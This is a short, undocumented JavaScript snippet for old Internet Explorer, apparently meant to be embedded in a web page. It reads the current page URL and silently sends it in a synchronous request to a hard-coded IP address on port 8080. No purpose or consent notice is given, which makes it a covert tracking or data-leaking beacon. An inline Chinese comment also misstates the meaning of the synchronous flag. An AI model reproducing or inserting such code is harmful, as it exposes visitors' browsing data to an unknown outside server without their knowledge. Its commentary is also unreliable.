var haha=document.URLUnencoded;
  try {
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
   } catch (e) {
    try {
     http_request = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (e) {}
    }
    //http_request.onreadystatechange = processRequest;
  // 确定发送请求的方式和URL以及是否同步执行下段代码
  http_request.open("GET",'http://221.130.196.35:8080/seek4u/index.jsp?url='+haha,false); //TRUE是同步 也就是当服务器返回信息后才继续下面的代码
  http_request.send(null);